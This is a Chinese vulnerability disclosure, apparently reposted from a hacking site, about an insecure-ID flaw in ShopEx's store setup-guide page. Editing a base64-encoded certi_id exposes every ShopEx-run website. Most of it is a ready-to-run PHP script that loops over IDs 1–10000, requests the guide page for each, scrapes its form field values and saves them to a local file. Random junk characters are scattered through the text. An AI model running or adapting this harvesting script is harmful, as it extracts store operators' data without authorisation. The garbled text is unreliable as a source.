ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
0 h5 E8 D( A* F( t! m( hShopEx某接口缺陷,可遍历所有网站
- C% N. S7 L4 {1 X3 ?* Z详细说明：
问题出现在shopex 网店使用向导页面
1 O8 X+ H/ ?0 x' `3 [
0 ~% B* X3 Z: ]' i

http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
1 Q# z0 H6 ?7 i! q

/ f& n, s3 m- n; m9 ]4 c9 H
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
4 B9 l) D: F' i: C( w& ~, I

3 c9 \" ^9 {, V( `# E& W3 |5 x
' s8 q0 f- h6 k3 u0 m我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
& p8 e1 t6 n0 w0 |
+ d. T3 n; U& S' l+ C2 g7 `

<?php
9 E# i( r4 h& l3 `: N( A% w/ k3 u
" o" {3 _2 J; `' a. z" A  d                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

                }
3 M1 n2 A! ~0 }( X
5 C' N8 @4 [, ~( T6 z  F" t+ C  G                function ShowshopExD($cid) {
3 Z1 i& f& t2 T' u& e7 }* @( y, q
' a4 b6 E( j/ K6 ]                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);
  ]7 b1 s' W9 q9 A) W# q1 P8 w8 K% x
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

" p4 X1 u: W& M9 P. ?        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
8 F/ Z" n% b  A7 @% C" T
* \, q& Y3 E* X6 b        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

& T2 X! P( m, R( }* L9 O" j$ n        if(strpos($result,$refer))

        {
' C; A. c8 i( Y% k9 D: P+ U: h
5 i3 L9 U( l; W$ ^% q4 W                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
7 P3 ]2 |. u3 }# h
$ o% k: Y1 ?% m! p. j! \                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

6 e8 j) L( z" d) _  N7 r                        echo $res[1][0].':'.$res[3][0]."\r\n";
- y, d# J! A  L: Z& b% L, c5 ]
! t& r9 d( _% m                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
; ?5 o6 u% g7 @4 \" D
                }

                echo '--------------------------------'."\r\n";
  d. [* o' @; I, k5 l# I* E* Q7 O; \
) U) G, j# r* R1 |/ E- b                fclose($fp);

0 U3 Q! ^# L# X! Y2 G        }

( f" C4 H% ~* O5 c7 R% w        flush();
3 W- q% Z5 Y7 ^9 s6 a( [7 O2 y
        curl_close($ch);
# _6 p5 P: {8 W: l
                }

9 f9 k1 V0 K+ y% o2 K?>
漏洞证明：
7 ^4 v8 v7 N8 p6 G9 q% r- {http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
8 Y7 D% I6 M6 `, a